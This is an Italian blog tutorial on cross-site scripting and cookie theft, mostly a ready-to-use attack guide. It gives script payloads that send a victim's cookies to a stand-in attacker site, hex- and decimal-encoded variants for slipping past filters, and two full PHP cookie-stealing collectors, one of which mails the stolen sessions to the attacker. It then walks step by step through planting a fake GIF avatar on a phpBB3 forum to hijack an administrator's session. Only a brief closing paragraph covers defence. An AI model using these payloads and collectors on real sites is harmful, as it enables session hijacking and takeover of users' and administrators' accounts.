XSS e Cookie grabbing

Scritto giovedì 29 novembre Hack


Sicuramente la XSS (Cross Site Scripting) Injection è fra le forme più facili di hacking, si tratta di inserire un codice in JavaScript all’interno di una variabile che verrà processata da una pagina web.
Il motivo della sigla xss e non css, è proprio per evitare di confondersi con l’acronimo “Cascading Style Sheets”. A differenza dell’Sql injection, sono vulnerabili siti dinamici e non.
L’attacco può essere portato a compimento su qualsiasi sito che presenti l’utilizzo di tecnologie come JavaScript, VBScript, ActiveX, HTML e Flash.

L’attacco Cross Site Scripting è quindi effettuabile quando un sito web prende in input dati su cui effettua delle operazioni e le interpreta senza alcun filtro. Potenzialmente la vittima dell’attacco non è solo il sito, ma soprattutto il visitatore, proprio perché occorre un reindirizzamento ad una pagina appositamente scritta per "catturare" le sessioni autenticate attraverso i cookie.

Lo script dannosso non solo si può aggiungere all’URL, ma anche ad un’immagine, ad un avatar, a un filmato flash che caricheremo nel server.
In questo modo ci rendiamo conto della pericolosità di questa vulnerabilità.

Utilizzando un codice del tipo:
<script>document.location="http://yoursite.com/leggo-cookie.php?
cookie="+document.cookie+"&redirect=http://google.com";</script>

Ottengo appunto il risultato di poter leggere i cookie rilasciati dal sito vulnerabile e di inviarli ad una pagina creata per l’archiviazione (leggo-cookie.asp).
Se i cookie non sono crittografati, come succede spesso, l’aggressore entrerà in possesso della sessione autenticata del malcapitato.

Si può pensare anche ad un codice che faccia comparire messaggi di alert o che carichi all’interno di un frame un sito esterno.
Le applicazioni con l’XSS sono svariate.
La più classica, e utile per verificare se il sito è vulnerabile, è agire tramite un messaggio alert.

<script>while(true){alert("Ah ah ah");}</script>
Questo script, passato ad esempio in un URL, porterà a visualizzare all’infinito un messaggio di avviso.

Per eludere eventuali filtri potrebbe essere sufficente scrivere lo script in un formato Hex

<IMG SRC='%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%4E% 6F%54%72%61%63%65%20%53%65%63%75%72%69%74%79%20%54%45%53%54%22%29'>

Oppure in decimale:

<IMG SRC='&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&
#101&#114&#116&#40&#34&#78&#111&#84&#114&#97&#99&#101&#32&#83&
#101&#99&#117&#114&# 105&#116&#121&#32&#84&#69&#83&
#84&#34&#41′>

Entriamo nella pratica e supponiamo che la vittima sia collegata come amministratore nel proprio Forum, e che quindi abbia il cookie non crittografato contenente la sessione.
Se in quel momento cliccherà su un link appositamente scritto il valore della sessione potrà essere comodamente letto dall’aggressore dalla pagina cookies.txt:

<a href="javascript:void(document.location='http://yoursite.com/
leggo-cookie.php?cookie=’+document.cookie)">Cliccami</a>

Dove la pagina leggo-cookie.php sarà così compilata

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];
$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";
$log = "cookies.txt";
@chmod($log, 0777);
$f = fopen($log, ‘a’);
fwrite($f, $data);
fclose($f);
@header("Location: " . $redirect);
?>

Vediamo ora come sfruttare la vulnerabilità utilizzando il metodo più usato: iniettando codice arbitrario attraverso un avatar, in particolare sfruttiamo una vulnerabilità scoperta (e poi fixata) in Phpbb3.

Creiamo la pagina leggo-cookie.php, che consente l’invio del file direttamente nella propria e-mail, e carichiamola su un host che supporta tale funzione:

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$accept=$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$cookie = $_GET['c']; //setto la variabile per
$mymail = "indirizzoemail@email.it"; //imposto la mia mail per ricevere il file
$today = date("l, F j, Y, g:i a") ; //data del cookie
$subject = "Sorpresa";
$message = "Cookie in arrivo"
Ip: $ip
Cookie: $cookie
Browser: $userAgent
Lingua: $accept
Url: $base
Giorno e Ora: $today \n
";
$from = "From: $mymail\r\n";
mail($mymail, $subject, $message, $from);
header("location: http://www.sitovulnerabile.com/forum/"); //reindirizzo la vittima sul sito
?>

Creiamo con il nostro amato Blocco Note l’avatar fasullo, che avrà estensione Gif:

<script>location.href="http://www.nostrosito.com/leggo-cookie.php?
c="+escape(document.cookie)</script>

Logghiamoci sul forum vulnerabile e carichiamo nel server il nostro avatar, che dovremo far leggere all’admin.
Andiamo a controllare la posta e se abbiamo ricevuto il valore della sessione usiamo un utilissimo plugin per Firefox che ci permette di modificare i nostri coookie.

Difendersi da tali tipologie di exploit è semplice: è necessario filtrare i dati in ingresso, ma anche in uscita, sempre. In questo caso, la funzione htmlentities() del PHP ha la caratteristica di convertire tutti i possibili caratteri in entità HTML rendendo l’interpretazione delle variabili sicura.
Alternativamente, possiamo usare la funzione strip_tags che, radicalmente, rimuove tutti i tag HTML e PHP da una stringa.

Questo Post è sottoposto a frequenti modifiche

Se questo post contiene link errati, errori, o riporta ad un sito non piu' attinente all'argomento invia una Segnalazione. Provvederemo a correggere il problema o a scrivere un post alternativo.

Una risposta a "XSS e Cookie grabbing"

Lascia un Commento

*
To prove you're a person (not a spam script), type the security word shown in the picture. Click on the picture to hear an audio file of the word.
Click to hear an audio file of the anti-spam word